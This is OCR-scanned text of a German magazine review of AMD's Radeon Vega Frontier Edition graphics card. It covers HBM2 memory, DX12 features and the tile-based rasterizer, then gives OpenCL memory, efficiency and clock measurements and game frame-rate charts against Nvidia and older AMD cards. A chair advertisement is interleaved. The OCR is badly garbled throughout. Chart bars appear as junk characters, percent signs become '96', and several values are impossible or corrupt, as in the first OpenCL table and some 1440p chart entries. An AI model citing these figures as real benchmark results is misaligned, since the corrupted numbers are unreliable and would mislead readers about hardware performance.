Vega FE OC @ 1,6/1,100 GHz 352.678 13.091 818,3 13.078 2.618 689,0 69.691 kein Wert 2.063 60,5 
Vega FE gefixt @ 1,6/0,945 GHz 303.138 13.075 817,2 13.062 2.615 688, 1 69.599 kein Wert 2.060 59,0 
Vega FE (schwankender Boost) 303.046 12.643 811,2 12.152 2.519 660,7 64.410 kein Wert 1.876 58,4 
Radeon R9 Fury X 375.714 8.555 5575 8.456 1.719 429,9 45.750 100.029 1.273 96,0 
Radeon RX 580 189.823 6.147 384,2 6.143 1.229 307,3 32.774 73.398 932,9 72,2 
Radeon R9 390X 280.453 GE 738,4 5595 1.809 450,7 29.174 66.622 819,0 01,0 
Radeon HD 7970 GHz Edition 184.819 4.255 1062,3 4.252 851 212,8 22.680 29.154 661,9 95,1 
Geforce GTX 1080 Ti 336.868 12.441 405,2 4.350 4.311 702,5 34.937 55.886 2.472 34,3 
Titan X (Pascal) 335.142 12.391 404,7 4.279 4.248 694,5 34.014 57.641 2.392 27,4 
Geforce GTX 1080 272.706 8.865 294,8 +12 3.100 504,5 24.931 46.065 1.769 9518 
Geforce GTX 1070 97.312 6.695 222,2 2.335 2332 379,8 18.814 36.532 1.333 72,0 
Geforce GTX Titan X 245.529 6.715 215,5 2.259 2.224 378,4 18.508 48.793 1.270 71,0 
Geforce GTX 980 Ti 244.007 6.341 202,8 2.109 2.098 358,7 17.207 45.828 1.199 66,1 
Geforce GTX 980 59.046 4.932 159,5 1.569 1.657 DUO 13.516 35.682 ОВИ 52,2 
Geforce GTX 970 39.264 3.754 120,0 1.252 1.250 214,9 10.222 25.920 710,1 39,6 
Geforce GTX 780 Ti 260.080 4.292 243,1 973 973 239,4 10.773 13.976 901,0 79,0 
System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Pro Software 17.6-Juni27 (Gaming Mo- 
de; HQ-AF) Bemerkungen: Theoretische Leistungsmessungen unter Open CL. Bei der Speichertransferrate (Mem Copy) enttäuscht die Vega FE, vor allem im Vergleich zur Fury X. 
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zen dessen Taktpotenzial nicht aus. 
HBM2 wird zusammen mit dem 
Grafikchip auf einer Trägerplatine, 
dem Interposer, zusammengeführt 
(zu sehen auf den Seiten 30 und 
46). Der neue Speicherstandard be- 
nötigt deutlich mehr Platz als sein 
Vorgänger, ermöglicht jedoch ein- 
zelne Stapel - die Speicherzellen 
werden tatsächlich aufeinanderge- 
setzt und durchverdrahtet - mit je 
bis zu 8 GiByte Kapazität (,8-Hi"). 
НВМ1 war hingegen auf je 1 GiByte 
limitiert, was den Fiji-Grafikkarten 
ihre wohl grófste Achillesferse ein- 
brachte. Speichermangel ist bei 
HBM2 kein Thema, 
der Spezifikation und technischen 


im Rahmen 


Möglichkeiten sind Grafikkarten 
mit bis zu 32 GiByte (vier 8-Hi- 
Stacks an 4.096 Bit) möglich. Die 
Radeon Vega Frontier Edition 
macht mit 16 GiByte den Anfang, 
unterteilt in zwei Achterstapel an 
je 1.024 Datenpfaden. Die Gaming- 
Ableger der „Radeon RX Vega“-Rei- 
he werden sich voraussichtlich mit 
2 x 4 (= 8) GiByte HBM2 begnügen 
müssen. 


Weitere Überarbeitungen machen 
aus Vega den ersten AMD-Chip mit 
vollständiger DX12-Kompatibilität 
- und darüber hinaus. Vega 10 un- 
terstützt das Feature-Level 12_1 
und überbietet bei den optionalen 


Einzeldisziplinen Nvidias Pascal- 
Riege. So wird Conservative Raste- 
rization etwa in der höchsten Stufe 
„Tier 3“ geboten und auch beim 
Resource Heap gibt es eine Stufe 
mehr als bei Nvidia. 44 Bit Address- 
raum für VM-Bits werden ebenso 
geboten wie FP16-Präzision. Damit 
bietet Vega 10 neben Intels Pro- 
zessorgrafik von Skylake und Kaby 
Lake Entwicklern den größtmögli- 
chen Funktionsumfang. 


Mehr Netto - theoretisch 

Obwohl Rechenwerke nur im Ru- 
del stark sind, lässt sich ihre An- 
zahl nicht beliebig steigern. GCN 
1.4 führt daher neue Funktionen 


ins Feld, um die Schlagkraft pro 
Transistor/Fläche zu erhöhen und 
die Taktbarkeit zu verbessern. Das 
fängt beim größten Engpass von 
Fiji an, dem Front-End, das mit 
Primitive Shadern und einem ver- 
besserten Work Distributor die Re- 
cheneinheiten besser füttern soll, 
und endet beim neu integrierten 
„Draw Stream Binning Rasterizer“ 
(DSBR). Ebenfalls neu ist Vegas 
Fähigkeit, FP16 und INT8 in dop- 
pelter beziehungsweise vierfacher 
Rate berechnen zu können, was 
Spiele-Entwicklern und in der KI- 
Programmierung erweiterte Móg- 
lichkeiten durch neue Leistungsdi- 
mensionen eróffnet. 


Takt und Verbrauch über 15 Minuten protokolliert 


Radeon Vega FE Air: Verlauf des GPU-Boosts in Anno 2070 (Ultra HD) 
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Radeon Vega FE Air: Verlauf der Leistungsaufnahme in Anno 2070 (Ultra HD) 
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Nach Analyse der Werkseinstellungen 
kommen wir zum Schluss, dass die Vega 
FE (Air) keineswegs darauf ausgelegt ist, 
den lángsten Benchmarkbalken zu errei- 
chen. Der Lüfter wird auf höchstens 2.000 
U/Min limitiert, sodass die GPU nach we- 
nigen Minuten ihr Temperaturlimit von 85 
*C erreicht und sich drosseln muss. Bereits 
vorher drückt das Power Limit die Leistung 
mit aller Kraft: Der Höchstboost von 1.600 
MHz bei 1,2 Volt wird nur bei geringer 
Auslastung (u. a. Full HD) erreicht, rasch 
wechselt die GPU auf 1.528 MHz bei 1,15 
Volt. Unter WQHD-Last sind die Boost-Stu- 
fen 1.440 MHz/1,10 Volt und 1.348 
MHz/1,05 Volt die Regel, sie wechseln 

sich ab. Je hóher die Last, desto geringer 
der Boost und die Leistungsaufnahme. Die 
geringste Frequenz, welche wir im Test der 
Vega FE Air zu Gesicht bekamen, betrágt 
1.269 MHz bei 1,0 Volt — beachten Sie 
dazu auch die große Tabelle , Taktraten in 
den 30 Testspielen" auf Seite 40. 


Die relativ grobkórnige Regulierung der 
Booststufen und Spannungen führt zu ei- 
ner stark schwankenden Leistungsaufnah- 
me — zwischen einzelnen Stufen liegen bis 
zu 50 Watt! Undervolting ist daher sehr 
effektiv (grüner Verlauf). Wird hingegen 
nur das Powerlimit maximiert, limitiert der 
Standardkühler die Entfaltung (schwarz). 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Pro Software 17.6-Juni27 (Gaming Mode; HQ-AF) 
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Energie-Effizienz (Referenzdesigns) 


Anno 2070, 3.840 x 2.160 – „Bäm!" (statische Fps vs. gemessene Leistung) 
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Der DSBR ist AMDs Trumpf, um 
aus dem Brutto mehr Netto zu er- 
halten. Dahinter steckt eine Fähig- 
keit, welche Nvidia beim Wechsel 
von Kepler auf Maxwell ebenfalls 
implementierte, darüber jedoch 
anfangs kein Wort verlor - obwohl 
man sich einig ist, dass dieses Fea- 
ture maßgeblich für den Effizienz- 
gewinn verantwortlich zeichnet. 
Dahinter steckt die grundlegende 
Idee, beim Rendern nur das zu 
berechnen, was am Ende auf dem 
Bildschirm sichtbar ist. Wenn 
die Polygondaten noch vor dem 
(Pixel-)Shading in das Bildschirm- 
raster transformiert werden sollen, 
unterteilt der Grafikchip das Bild in 


Kacheln (Tiles). Diese sind so ange- 
legt, dass sie in den Level-2-Cache 
passen und bei der Aussortierung 
der verdeckten Polygone möglichst 
ohne Zugriffe auf den Grafikspei- 
cher auskommen sollen. Erst da- 
nach wird rasterisiert. Die Funkti- 
on spart reichlich Rechenleistung, 
Speicherzugriffe und 
steigert so die (Energie-)Effizienz. 


reduziert 


Der Draw Stream Binning Raste- 
rizer innerhalb Vegas ist AMDs 
erste Implementierung des Tile- 
Base-Rasterizing-Prinzips, Fiji und 
Polaris bieten das Feature nicht. 
Die Krux ist, dass die Radeon Vega 
Frontier Edition ihren DSBR bis- 


Speichertransfer unter Open CL: Kopieren 


Open-CL-Benchmark v1.1: Kopierrate Grafikspeicher 
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Grafikkarte (GPU) und Einstellungen Fps Watt Watt pro Frame 
— weniger ist besser! 

Geforce GTX 1080 (Pascal GP 104) 44 171 3,89 

Titan X (Pascal GP102) 57 231 4,05 

Geforce GTX 1080 Ti (Pascal GP102) 56 230 4,11 

Geforce GTX 1070 (Pascal GP104) 35 148 4,23 

Geforce GTX 980 Ti (Maxwell GM200) 33 224 6,78 

Vega FE @ 1.300 MHz, 875/800 mV, Std.-Powerlimit 36 250 6,94 

Geforce GTX Titan X (Maxwell GM200) 34 243 7,13 

Vega FE @ 1.400 MHz, 950/900 mV, Std.-Powerlimit 37 264 7,14 

Radeon Vega Frontier Edition 36 259 7,19 

Vega FE @ 1.600 MHz, 1.075/900 mV, +50 % Powerlimit 41 373 9,10 

Vega FE @ 150 % PT, Standardspannung 41 425 10,37 

Radeon R9 Fury X (Fiji XT) 31 327 10,54 

Bemerkungen: Referenzkarten unter sich; Vega zusätzlich manuell untertaktet und undervoltet. 
System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 
Bemerkungen: Die Frontier Edition arbeitet deutlich effizienter als die Fury X. Wird das Powerlimit erhöht, 


schnellt die Leistungsaufnahme in die Höhe. Undervolting ist äußerst lohnenswert. 


System: Core i7-6800K @ 4,4 GHz, X99, 4 х 8 GiB DDR4-3000; Win 10 x64, GF 384.80, RS 17.7.1, Rad. SW 
Pro 17.6 Bemerkungen: Alle Karten mit freiem Boost, Titan X mit 4,5 GHz RAM-Takt. Vega FE verfehlt die Ge- 
schwindigkeit der Vorgängermodelle (Fury X, R9 390X) deutlich, eine Framebuffer-Kompression wäre hier nutzlos. 


Speichertransfer unter Open CL: Lesen 


Speichertransfer unter Open CL: Schreiben 


Open-CL-Benchmark v1.1: Leserate Grafikspeicher 
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Open-CL-Benchmark v1.1: Schreibrate Grafikspeicher 
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System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000; Win 10 x64, GF 384.80, RS 17.7.1, Rad. SW 
Pro 17.6 Bemerkungen: Alle Karten mit freiem Boost, Titan X mit 4,5 GHz RAM-Takt. Vega FE kommt hier vor 
R9 390X und Fury X auf den zweiten Platz. Die HBM-Temperatur beeinflusst diese Ergebnisse übrigens nicht. 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000; Win 10 x64, GF 384.80, RS 17.7.1, Rad. SW 
Pro 17.6 Bemerkungen: Alle Karten mit freiem Boost, Titan X mit 4,5 GHz RAM-Takt. Beim Schreiben schlägt 


Vegas Sternstunde - in dieser Disziplin lässt sie die Titan X und auch die auffallend schwache Fury X hinter sich. 
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Take a Seat! zz 


Unser sportlich-schlanker Sharkoon SHARK ZONE пе bestehen aus Formschaum mit hoher Dichte. 
GS10 Premium Gaming Seat kommt im typischen Eine individuelle Sitzhaltung garantieren die 3- 
schwarzgelben Design mit einer robusten Stahlrah- ^ Wege-Armlehnen, eine verstellbare Rückenlehne 
menkonstruktion daher. Für das Bezugsmaterial (90° bis 160°), die federunterstützte Wippfunktion 
sowie die Kopf- und Lendenkissen verwenden wir inklusive Arretierung sowie eine Gasdruckfeder 
hochwertiges Kunstleder. Die stützenden Schaum- der Klasse 4 (Traglast 120 kg). Das Aluminiumfuß- 
stoffpolsterungen an der Sitzfläche und Rückenleh- kreuz verfügt über 60-mm-Rollen für beste Mobilität. www.sharkoon.de 


GRAFIKKARTEN | Radeon Vega Frontier Edition 


Radeon Vega Frontier Edition: Leistung in Full HD (1080p) 


Doom (Vulkan), TSSAA 8TX/16:1 AF – „Devil's Dance" 


Nvidia Titan Xp/12G Ego! 200,0 (+5 96) 
Nvidia Geforce GTX 1080 Ti/11G. aa 200,0 (+5 96) 
Nvidia Geforce GTX 1080/8G ez 194,3 (+2 %) 
AMD Radeon Vega Frontier Air/16G ER ISI 191,3 (Basis) 
AMD Radeon R9 Fury X/4G = GG 176,7 C8 %) 
Nvidia Geforce GTX 1070/8G ЇЗ 165,0 (-14 96) 
AMD Radeon RX 580/8G Ea: pos 153,6 (-20 90) 
Nvidia Geforce GTX 980 Ti/6G EX 151,4 (21 %) 
AMD Radeon R9 390X/8G. E806: E 135,0 (-29 96) 
Nvidia Geforce GTX 970/3,5+0,5G gs 106,4 (-44 96) 
Nvidia Geforce GTX 780 Ti/3G ea ER 82,1 (-57 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Titan Xp/12G. Xp 137,3 (+42 %) 
Nvidia Geforce GTX 1080 Ti/11G EE 132,0 (+36 90) 
Nvidia Geforce GTX 1080/8G. ШШШ 109,1 (+13 96) 
AMD Radeon Vega Frontier Air/16G EET 96,8 (Basis) 
Nvidia Geforce GTX 1070/8G. 831 87,0 (-10 96) 
Nvidia Geforce GTX 980 Ti/6G EEE 79,8 (-18 96) 
AMD Radeon R9 Fury X/4G Emu 74,7 (23 %) 
AMD Radeon RX 580/8G 601] 62,5 (-35 96) 
Nvidia Geforce GTX 970/3,5+0,5G ШЕ 54,3 (-44 96) 
AMD Radeon R9 390X/8G sir 53,7 (-45 96) 
Nvidia Geforce GTX 780 Ti/3G ISERESI@IƏ< SOI 53,1 (-45 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 


Nvidia Titan Xp/12G X008. 122,5 (+27 96) 
Nvidia Geforce GTX 1080 Ti/11G X06: 119,4 (+24 96) 
Nvidia Geforce GTX 1080/86 sgg 98,8 (+2 96) 
AMD Radeon Vega Frontier Air/16G EST 96,6 (Basis) 
Nvidia Geforce GTX 1070/8G |y 78,8 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G 68H 73,2 (-24 96) 
AMD Radeon R9 Fury X/4G es 88 72,9 (-25 %) 
AMD Radeon RX 580/8G 5611 62,9 (-35 96) 
AMD Radeon R9 390X/8G 568 61,7 (-36 96) 
Nvidia Geforce GTX 970/3,5+0,56 E481 51,2 (-47 96) 
Nvidia Geforce GTX 780 T/3G MAON 46,2 (-52 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF — , Rooftops" 


Nvidia Titan Xp/12G Egg ШЕШ 117,0 (+50 96) 
Nvidia Geforce GTX 1080 Ti/11G gs 114,7 (+47 %) 
Nvidia Geforce GTX 1080/8G 80 97,3 (+25 96) 
AMD Radeon Vega Frontier Air/16G EEG 77,9 (Basis) 
Nvidia Geforce GTX 1070/86 gt 77,0 (-1 96) 
Nvidia Geforce GTX 980 Ti/6G sg 68,7 (-12 96) 
AMD Radeon RX 580/8G  ШЗӘ! 55,5 (-29 96) 
AMD Radeon R9 390X/8G MESAM 50,4 (-35 %) 
AMD Radeon R9 Fury X/4G 18 33,1 (-58 96) 
Nvidia Geforce GTX 970/3,5+0,5G 2711 30,7 (-61 96) 
Nvidia Geforce GTX 780 Ti/3G EEZ] 28,0 (-64 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Titan Xp/12G E0811 112,3 (+31 96) 
Nvidia Geforce GTX 1080 Ti/11G. ВОД 111,8 (+31 90) 
Nvidia Geforce GTX 1080/8G X9 97,6 (+14 96) 
AMD Radeon Vega Frontier Air/16G ШОИ 85,4 (Basis) 
Nvidia Geforce GTX 1070/8G. gil 81,2 (-5 96) 
Nvidia Geforce GTX 980 Ti/6G |i 75,1 (-12 96) 
AMD Radeon R9 Fury X/4G Eg] 71,7 (-16 96) 
AMD Radeon RX 580/8G. Edi 66,6 (-22 96) 
AMD Radeon R9 390X/8G [871 60,6 (-29 96) 
Nvidia Geforce GTX 970/3,5+0,5G ШД] 55,8 (-35 96) 
Nvidia Geforce GTX 780 Ti/3G 491] 52,3 (-39 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Titan Xp/12G js ШЕШ 111,1 (+72 96) 
Nvidia Geforce GTX 1080 Ti/11G Egg 103,5 (+60 96) 
Nvidia Geforce GTX 1080/8G. Xs 84,2 (+30 %) 
Nvidia Geforce GTX 1070/8G ШЕ 65,5 (+1 96) 
AMD Radeon Vega Frontier Air/16G ЖШШЕ 64,7 (Basis) 
Nvidia Geforce GTX 980 Ti/6G 531i 62,1 (-4 96) 
AMD Radeon R9 Fury X/4G 18 49,2 (-24 96) 
AMD Radeon RX 580/8G Ш З 45,2 (-30 96) 
AMD Radeon R9 390X/8G Ш 8 44,3 (-32 96) 
Nvidia Geforce GTX 970/3,5+0,5G 298 32,9 (-49 96) 
Nvidia Geforce GTX 780 Ti/3G ZAN 30,4 (-53 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Titan Xp/12G Egg Eu 107,9 (+40 96) 
Nvidia Geforce GTX 1080 Ti/11G. Xs 104,5 (+36 96) 
Nvidia Geforce GTX 1080/8G 6g ER 86,5 (+13 96) 
AMD Radeon Vega Frontier Air/16G WSEƏ£UZIIIIIIITG8 (Basis) 
Nvidia Geforce GTX 1070/8G 883: 68,0 (-11 96) 
Nvidia Geforce GTX 980 Ti/6G. EEE] 88 60,3 (-21 96) 
AMD Radeon R9 Fury X/4G E81 58,0 (-24 96) 
AMD Radeon R9 390X/8G Ш ЗО 8 50,2 (-35 96) 
AMD Radeon RX 580/8G ШЗ 47,4 (-38 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш ЗУ 43,2 (-44 96) 
Nvidia Geforce GTX 780 Ti/3G ШЗ 41,3 (-46 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 


Nvidia Titan Xp/12G. Esth 90,6 (+60 %) 
Nvidia Geforce GTX 1080 Ti/11G eH 89,8 (+58 96) 
Nvidia Geforce GTX 1080/86 |: 77,2 (+36 %) 
Nvidia Geforce GTX 1070/86 E 64,1 (+13 96) 
AMD Radeon Vega Frontier Air/16G ESIIIIIIII 56,7 (Basis) 
Nvidia Geforce GTX 980 Ti/6G MEJ] 54,3 (-4 96) 
AMD Radeon R9 Fury X/4G Eur 48,8 (-14 96) 
AMD Radeon RX 580/8G 1538/1 42,0 (-26 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш ЗД] 40,0 (-29 96) 
AMD Radeon R9 390X/8G BESA] 38,5 (-32 96) 
Nvidia Geforce GTX 780 Ti/3G ВЗ 34,7 (-39 96) 
СТА 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 
Nvidia Titan Xp/12G egt 72,2 (+43 96) 
Nvidia Geforce GTX 1080 Ti/11G. Logg 71,7 (+42 96) 
Nvidia Geforce GTX 1080/86 8811 63,0 (+25 96) 
Nvidia Geforce GTX 1070/86 49/1 52,6 (+4 96) 
AMD Radeon Vega Frontier Air/16G IGI] 50,4 (Basis) 
Nvidia Geforce GTX 980 Ti/6G 421] 45,3 (-10 96) 
AMD Radeon R9 Fury X/4G Ш 3811 41,6 (-17 96) 
AMD Radeon R9 390X/8G [5341] 37,3 (-26 96) 
AMD Radeon RX 580/8G 1:381] 36,2 (-28 96) 
Nvidia Geforce GTX 780 Ti/3G В 321 34,9 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ж ЗІ 33,8 (-33 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF – „Scavenger” 


Nvidia Titan Xp/12G ERS 50,7 (+21 96) 
Nvidia Geforce GTX 1080 Ti/11G Ж ЛӘ ШЕ 48,4 (+16 96) 
Nvidia Geforce GTX 1080/8G [28/9 44,1 (4-5 96) 
AMD Radeon Vega Frontier Air/16G 28 Ш 41,9 (Basis) 
Nvidia Geforce GTX 1070/8G В 28188 39,1 (-7 96) 
AMD Radeon R9 Fury X/4G E23: 13 33,8 (-19 96) 
Nvidia Geforce GTX 980 Ti/6G 231 31,8 (-24 96) 
AMD Radeon RX 580/8G Ж ӨШ 29,4 (-30 96) 
AMD Radeon R9 390X/8G MaI 28,8 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G MAN 24,2 (-42 96) 
Nvidia Geforce GTX 780 Ti/3G. 8518 23,1 (-45 %) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.76, Radeon Pro Software 17.6-Juni27 (Gaming Mode), RS 17.6.2, HQ-AF 
Bemerkungen: Die Vega-GPU zeigt keine Anzeichen einer Low-Res-Schwäche, die Bildraten gegenüber Fiji und Polaris sind ordentlich. Jedoch kann sich die Vega FE Air kaum von der GTX 1070 distanzieren. 


Mimil 2 Fps 


> Besser 
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Radeon Vega Frontier Edition | GRAFIKKARTEN 


Radeon Vega Frontier Edition: Leistung in WQHD (1440p) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - „Devil's Dance" 


Nvidia Titan Xp/12G a uuu 175,7 (+38 %) 
Nvidia Geforce GTX 1080 Ti/11G. us Em 171,2 (+35 %) 
Nvidia Geforce GTX 1080/8G 008. 136,3 (+7 96) 
AMD Radeon Vega Frontier Air/16G EE 126,9 (Basis) 
AMD Radeon R9 Fury X/4G ШО 115,0 (9 %) 
Nvidia Geforce GTX 1070/8G gsx 106,2 (-16 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Titan Xp/12G eg 84,5 (+54 96) 
Nvidia Geforce GTX 1080 Ti/11G. Xen Ex 81,2 (+48 96) 
Nvidia Geforce GTX 1080/8G 881 Ex 67,7 (+23 96) 
AMD Radeon Vega Frontier Air/16G PE 54,9 (Basis) 
Nvidia Geforce GTX 1070/86 Ea 88 53,1 (-3 %) 
Nvidia Geforce GTX 980 Ti/6G MEMO N 48,1 (-12 96) 


AMD Radeon RX 580/8G giu 96,5 (-24 96) 
Nvidia Geforce GTX 980 Ti/6G m Eu 96,3 (-24 %) 
AMD Radeon R9 390X/8G [an 87,9 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G sq E 66,3 (-48 96) 
Nvidia Geforce GTX 780 T/3G 9E 51,9 (-59 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Titan Xp/12G | 97,4 (+20 96) 
Nvidia Geforce GTX 1080 Ti/11G G 92 94,8 (+17 96) 
Nvidia Geforce GTX 1080/86 nt 81,7 (+1 96) 
AMD Radeon Vega Frontier Air/16G BEER! 81,2 (Basis) 
Nvidia Geforce GTX 1070/8G 4 66,1 (45 96) 
Nvidia Geforce GTX 980 Ti/6G CEET 61,5 (-24 96) 
AMD Radeon R9 Fury X/4G [sri 59,7 (-26 96) 
AMD Radeon RX 580/8G. [E8211 54,6 (-33 96) 
AMD Radeon R9 390X/8G [481] 50,8 (-37 96) 
Nvidia Geforce GTX 970/3,5+0,5G gë 45,0 (-45 96) 
Nvidia Geforce GTX 780 Ti/3G i| 42,6 (-48 %) 


Nvidia Titan Xp/12G pnt 97,0 (+45 96) 
Nvidia Geforce GTX 1080 Ti/11G. MET 93,2 (+39 96) 
Nvidia Geforce GTX 1080/8G m 75,5 (+13 96) 
AMD Radeon Vega Frontier Air/16G SEO£çÑÉ UIIIUIIYIIIIIIIIÉIWUGUIIAIISIIIAI 
Nvidia Geforce GTX 1070/8G. E581 58,7 (-12 96) 
Nvidia Geforce GTX 980 Ti/6G 53] 54,9 (-18 96) 
AMD Radeon R9 Fury X/4G ISS£GMK IIUZIOIOIIÓ H,T⁄É (-20 96) 
AMD Radeon RX 580/86 an 43,1 (-36 96) 
AMD Radeon R9 390X/8G [5361] 37,9 (-43 96) 
Nvidia Geforce GTX 780 T/3G 5381] 37,5 (-44 96) 
Nvidia Geforce GTX 970/3,5+0,56 Ш ЗУ 36,8 (-45 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - „Prague” 


Nvidia Titan Xp/12G X8 35,0 (+34 96) 
Nvidia Geforce GTX 1080 Ti/11G Ee 83,8 (+27 96) 
Nvidia Geforce GTX 1080/8G. eati 67,8 (+3 96) 
AMD Radeon Vega Frontier Air/16G ISSUE 65,9 (Basis) 
Nvidia Geforce GTX 1070/86 4811 53,4 (-19 96) 
Nvidia Geforce GTX 980 Ti/6G get 50,7 (-23 96) 
AMD Radeon R9 Fury X/4G Esa 49,7 (-25 %) 
AMD Radeon R9 390X/8G [53811 42,4 (-36 96) 
AMD Radeon RX 580/86 371 41,8 (-37 96) 
Nvidia Geforce GTX 970/3,5+0,5G ВШ ЗО 33,6 (-49 96) 
Nvidia Geforce GTX 780 T/3G 2711 30,7 (-53 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Titan Xp/12G [Xa 84,8 (+45 96) 
Nvidia Geforce GTX 1080 Ti/11G eg 81,1 (+39 96) 
Nvidia Geforce GTX 1080/8G. ВЕБ 65,8 (+12 90) 
AMD Radeon Vega Frontier Air/16G Page 58,5 (Basis) 
Nvidia Geforce GTX 1070/8G. | 51,4 (-12 96) 
AMD Radeon R9 Fury X/4G [4 47,4 (-19 96) 
Nvidia Geforce GTX 980 Ti/6G. MEAO 47,0 (-20 96) 
AMD Radeon R9 390X/8G Ш 3318 40,2 (-31 96) 
AMD Radeon RX 580/86 ärt 37,0 (-37 96) 
Nvidia Geforce GTX 780 Ti/3G Ш 28 32,3 (-45 96) 
Nvidia Geforce GTX 970/3,5+0,56 Ш 2518 31,3 (-46 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


AMD Radeon RX 580/8G [2617 37,2 (-32 96) 
AMD Radeon R9 390X/8G MA 35,2 (-36 96) 
AMD Radeon R9 Fury X/4G Ш 23,8 (-57 96) 
Nvidia Geforce GTX 970/3,5+0,5G E211] 23,0 (-58 96) 
Nvidia Geforce GTX 780 Ti/3G [I| 19,2 (-65 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Titan Xp/12G X68 80,7 (+74 9*6) 
Nvidia Geforce GTX 1080 Ti/11G. Es 74,1 (+60 96) 
Nvidia Geforce GTX 1080/86 50r 58,5 (+26 96) 
AMD Radeon Vega Frontier Air/16G ШЕ 398 46,4 (Basis) 
Nvidia Geforce GTX 1070/86 Ж ШШЕЗӘ 45,3 (-2 96) 
Nvidia Geforce GTX 980 Ti/6G Ш 3818 44,2 (-5 96) 
AMD Radeon R9 Fury X/4G Ш 3018 37,3 (-20 96) 
AMD Radeon R9 390X/8G [281 32,8 (-29 96) 
AMD Radeon RX 580/8G 2711 32,5 (-30 96) 
Nvidia Geforce GTX 970/3,5+0,5G EI 19,1 (-59 96) 
Nvidia Geforce GTX 780 Ti/3G HAI 17,1 (-63 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 


Nvidia Titan Xp/12G et? 66,6 (+71 96) 
Nvidia Geforce GTX 1080 Ti/11G E89! 64,5 (+66 96) 
Nvidia Geforce GTX 1080/86 48! 53,7 (+38 96) 
Nvidia Geforce GTX 1070/86 491] 43,9 (+13 96) 
AMD Radeon Vega Frontier Air/16G Ш 391 38,9 (Basis) 
Nvidia Geforce GTX 980 Ti/6G 1538/1 38,5 (-1 96) 
AMD Radeon R9 Fury X/4G E21] 29,5 (-24 %) 
AMD Radeon RX 580/8G В 2911 28,1 (-28 96) 
AMD Radeon R9 390X/8G В 28] 27,0 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G 1:231] 25,8 (-34 96) 
Nvidia Geforce GTX 780 Ti/3G 491] 21,8 (-44 96) 
GTA 5 (DX11), Gras „sehr hoch", 4х MSAA/16:1 AF - „Grapeseed” 
Nvidia Titan Xp/12G oct 57,2 (+53 96) 
Nvidia Geforce GTX 1080 Ti/11G 82:1 55,8 (+50 96) 
Nvidia Geforce GTX 1080/86 E44 46,5 (+25 96) 
Nvidia Geforce GTX 1070/86 5381] 38,0 (+2 96) 
AMD Radeon Vega Frontier Air/16G ЖЗ] 37,3 (Basis) 
Nvidia Geforce GTX 980 Ti/6G Ш ЗІ] 33,7 (-10 96) 
AMD Radeon R9 Fury X/4G [29l| 31,4 (-16 96) 
AMD Radeon R9 390X/8G [351] 27,8 (-25 96) 
Nvidia Geforce GTX 780 Ti/3G. ШД 25,9 (-31 96) 
AMD Radeon RX 580/8G 281] 25,7 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G 1:221] 24,1 (-35 96) 
Ashes of the Singularity (DX12), 4x MSAA/16:1 AF – „Scavenger” 
Nvidia Titan Xp/12G ШӨ ШЕШ 43,4 (+38 96) 
Nvidia Geforce GTX 1080 Ti/11G. 2m 42,2 (+34 %) 
Nvidia Geforce GTX 1080/8G [23:3 35,3 (+12 96) 
AMD Radeon Vega Frontier Air/16G ЭШ 31,5 (Basis) 
Nvidia Geforce GTX 1070/8G MaI 28,6 (-9 96) 
AMD Radeon R9 Fury X/4G SIE 27,5 (-13 96) 
Nvidia Geforce GTX 980 Ti/6G ВТ 24,7 (-22 96) 
AMD Radeon RX 580/8G Ш 22,7 (-28 96) 
AMD Radeon R9 390X/8G Ш 22,7 (-28 96) 
Nvidia Geforce GTX 970/3,5+0,5G #818 18,2 (-42 96) 
Nvidia Geforce GTX 780 Ti/3G ШШЕ 17,8 (-43 96) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.76, Radeon Pro Software 17.6-Juni27 (Gaming Mode), RS 17.6.2, HQ-AF 
Bemerkungen: WQHD liegt der Vega FE grundsätzlich gut, sie erreicht in den meisten Spielen flüssige Bildraten. GTA 5 und AC Syndicate laufen jedoch unerwartet schlecht, die GTX 1070 ist hier schneller. 


Mimi Ø Fps 


» Besser 
